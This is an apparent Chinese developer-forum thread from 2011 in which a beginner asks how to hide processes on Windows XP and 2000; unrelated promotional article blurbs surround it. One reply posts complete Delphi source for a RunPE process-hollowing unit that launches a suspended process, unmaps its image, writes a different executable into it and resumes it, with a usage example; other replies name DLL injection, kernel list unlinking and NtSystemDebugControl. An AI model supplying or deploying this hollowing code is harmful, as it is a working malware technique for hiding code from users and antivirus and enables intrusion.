如何在XP和2000下隐藏进程？？

2011-02-21 10:05:49 248 阅读 AI 写同款 · GEO 优化AI 选题数据监测一键分发 ›

告别双系统！用PhyFusion在麒麟V10上无缝融合Win11，文件互传、GPU加速全搞定本文详细介绍了在飞腾D3000平台上使用PhyFusion实现麒麟V10与Win11无缝融合的解决方案。通过视觉无界、数据互通和性能无损的三大突破，PhyFusion显著提升了跨系统工作效率，支持GPU加速和文件互传，是国产化平台的革命性工具。阅读详情

本人是菜鸟，希望能解答详细些呵。

...全文

四足机器人通用运动控制策略：强化学习与PD参数优化运动控制是机器人实现稳定行走和复杂动作的核心技术，其关键在于精确调节关节的刚度和阻尼特性。PD控制器作为基础控制单元，通过比例(P)和微分(D)增益参数直接影响系统响应速度与稳定性。在四足机器人领域，强化学习(RL)通过模拟环境自主学习，能够有效解决传统控制方法难以适应不同形态机器人的痛点。该技术通过非对称Actor-Critic架构，结合状态估计网络和自适应参数采样策略，实现了跨平台的通用运动控制。典型应用包括工业检测、灾害救援等需要高适应性移动能力的场景，其中PD增益优化和形态参数自适应采样成为提升硬件阅读详情

tzmcc

Windows SDK/API 1,184 成员 22,326 内容

+ 关注 + 加入社区

切换为时间正序

keeley20 2011-02-24

打赏
举报

隐藏进程的方法不止一个，但是基本都被杀软查杀，楼主使用的使用要想清楚。

这里给个以前用过的代码
uRunPE单元



unit uRunPE;



interface



uses Windows;



type

  TByteArray = array of Byte;



function RunEXE(sVictim:string; bFile:TByteArray):Boolean;

function NtUnmapViewOfSection(ProcessHandle: THandle; BaseAddress: Pointer): DWORD; stdcall; external 'ntdll.dll';



implementation



procedure Move(Destination, Source: Pointer; dLength:Cardinal);

begin

  CopyMemory(Destination, Source, dLength);

end;



function RunEXE(sVictim:string; bFile:TByteArray):Boolean;

var

  IDH:        TImageDosHeader;

  INH:        TImageNtHeaders;

  ISH:        TImageSectionHeader;

  PI:         TProcessInformation;

  SI:         TStartUpInfo;

  CONT:       TContext;

  ImageBase:  Pointer;

  Ret:        DWORD;

  i:          integer;

  Addr:       DWORD;

  dOffset:    DWORD;

begin

  Result := FALSE;

  try

    Move(@IDH, @bFile[0], 64);

    if IDH.e_magic = IMAGE_DOS_SIGNATURE then

    begin

      Move(@INH, @bFile[IDH._lfanew], 248);

      if INH.Signature = IMAGE_NT_SIGNATURE then

      begin

        FillChar(SI, SizeOf(TStartupInfo),#0);

        FillChar(PI, SizeOf(TProcessInformation),#0);

        SI.cb := SizeOf(TStartupInfo);

        if CreateProcess(nil, PChar(sVictim), nil, nil, FALSE, CREATE_SUSPENDED, nil, nil, SI, PI) then

        begin

          CONT.ContextFlags := CONTEXT_FULL;

          if GetThreadContext(PI.hThread, CONT) then

          begin

            ReadProcessMemory(PI.hProcess, Ptr(CONT.Ebx + 8), @Addr, 4, Ret);

            NtUnmapViewOfSection(PI.hProcess, @Addr);

            ImageBase := VirtualAllocEx(PI.hProcess, Ptr(INH.OptionalHeader.ImageBase), INH.OptionalHeader.SizeOfImage, MEM_RESERVE or MEM_COMMIT, PAGE_READWRITE);

            WriteProcessMemory(PI.hProcess, ImageBase, @bFile[0], INH.OptionalHeader.SizeOfHeaders, Ret);

            dOffset := IDH._lfanew + 248;

            for i := 0 to INH.FileHeader.NumberOfSections - 1 do

            begin

              Move(@ISH, @bFile[dOffset + (i * 40)], 40);

              WriteProcessMemory(PI.hProcess, Ptr(Cardinal(ImageBase) + ISH.VirtualAddress), @bFile[ISH.PointerToRawData], ISH.SizeOfRawData, Ret);

              VirtualProtectEx(PI.hProcess, Ptr(Cardinal(ImageBase) + ISH.VirtualAddress), ISH.Misc.VirtualSize, PAGE_EXECUTE_READWRITE, @Addr);

            end;

            WriteProcessMemory(PI.hProcess, Ptr(CONT.Ebx + 8), @ImageBase, 4, Ret);

            CONT.Eax := Cardinal(ImageBase) + INH.OptionalHeader.AddressOfEntryPoint;

            asm

            pushad

            mov eax,$00401000

            mov ebp,esp

            sub edx,$00010000

            popad

            end;

            SetThreadContext(PI.hThread, CONT);

            ResumeThread(PI.hThread);

            Result := TRUE;

          end;

        end;

      end;

    end;

  except

    CloseHandle(PI.hProcess);

    CloseHandle(PI.hThread);

  end;

end;



end.

使用例子：

program RunPE;



uses

  Windows,

  uRunPE;



var

  bBuff:  TByteArray;



{$R 1.res}



function FileToBytes(sPath:string; var bFile:TByteArray):Boolean;

var

  hFile:  THandle;

  dSize:  DWORD;

  dRead:  DWORD;

begin

  Result := FALSE;

  hFile := CreateFile(PChar(sPath), GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0);

  if hFile <> INVALID_HANDLE_VALUE then

  begin

    dSize := GetFileSize(hFile, nil);

    SetLength(bFile, dSize);

    ReadFile(hFile, bFile[0], dSize, dRead, nil);

    CloseHandle(hFile);



    if dRead = dSize then

      Result := TRUE;

  end;

end;



begin

  if FileToBytes('notepad.exe', bBuff) then

    RunExe(ParamStr(0), bBuff);

end.

上面的例子是把记事本程序在runpe.exe中执行。

crack1946 2011-02-24

打赏
举报

注入其他进程好了，一般是一个DLL，只记得好像有一个 CreateRemoteThread函数

gyk120 2011-02-23

打赏
举报

最简单的是注入系统进程……改双向链表比较麻烦

Lactoferrin 2011-02-21

打赏
举报

xp 2000用NtSystemDebugControl可以实现，但这个在windows vista就被封了

如何在XP和2000下隐藏进程？？

相关推荐